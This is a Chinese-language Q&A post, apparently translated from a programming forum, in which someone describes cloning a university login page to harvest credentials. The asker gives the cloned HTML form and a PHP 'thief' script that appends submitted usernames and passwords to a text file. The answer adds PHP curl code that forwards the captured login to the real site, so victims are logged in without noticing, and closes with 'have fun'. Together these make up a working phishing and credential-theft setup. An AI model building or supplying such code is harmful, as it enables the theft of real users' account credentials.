我已经克隆了网站的登录页面并将其托管在我的个人服务器上,以便进行一些浏览器安全测试。我正在尝试记录登录信息,并仍然将用户重定向到未克隆的网站,登录。
这是我的HTML表单:
<form name="login" method="post" action="https://my.website.edu/e/portal/login.asp">
<input type="text" placeholder=" Username" name="username" id="username" alt="Username" style="width:100%;font-size:24px;" /><br/>
<input type="password" placeholder=" Password" name="pin" id="pin" alt="Password" style="width:100%;margin-top:5px;font-size:24px;" /><br/>
<input type="submit" value="Sign In" name="B1" style="width:101%;font-size:18px;height:35px;margin-top:5px;margin-bottom:5px;" />
<p><a href="https://my.website.edu/e/is/user/change_password_form.asp?t=2">Forgot Password?</a></p>
</form>
提交信息并点击提交会将用户登录到&#34;真实&#34;未克隆的网站。
我写了一个&#34;小偷&#34;将窃取信息并将其写入文件的脚本:
<?php
$txt = "info.txt";
$fh = fopen($txt, 'a+');
if (isset($_POST['username']) && isset($_POST['pin'])) {
$txt=$_POST['username'].','.$_POST['pin'];
file_put_contents('info.txt',$txt."\n",FILE_APPEND);
exit();
}
fwrite($fh,$txt);
fclose($fh);
?>
我可以通过将表单更改为action =&#39; thief.php&#39;来执行此脚本,但我无法使用login.asp操作实际登录。
不使用javascript,是否可以从表单中获取$ _POST值,将它们写入我们的info.txt,然后以某种方式完成登录操作?
我觉得最好的方法是使用php脚本重定向回登录页面,用$ _POST值填写用户名/密码框,然后以某种方式执行提交,将用户无缝传输到表单原始操作的目的地。
我还需要哪些额外的PHP代码?还有更好的方法吗?
答案 0 :(得分:0)
脚本之后的这样的事情:
$url = 'the-url.tld/blabla/login.asp';
$data = '';
// formating the post data with $_POST values
foreach( $_POST as $k => $v ){
$data .= $k.'='.urlencode($v).'&';
}
$data = rtim($data, '&'); // delete the last & of $data
$ch = curl_init(); // init curl
curl_setopt($ch,CURLOPT_URL, $url); // set url
curl_setopt($ch,CURLOPT_POST, count($_POST)); // set number of $_POST fileds
curl_setopt($ch,CURLOPT_POSTFIELDS, $data); // set $_POST data
$res = curl_exec($ch); // execute the curl query and get result in $res
curl_close($ch); // close curl
var_dump($res); // show the result of query
你的脚本可以更简单:
$txt = "info.txt";
if( isset($_POST['username'], $_POST['pin']) ){
$acc_infos = $_POST['username'].','.$_POST['pin']."\r\n";
file_put_contents($txt, $acc_infos, FILE_APPEND);
}
玩得开心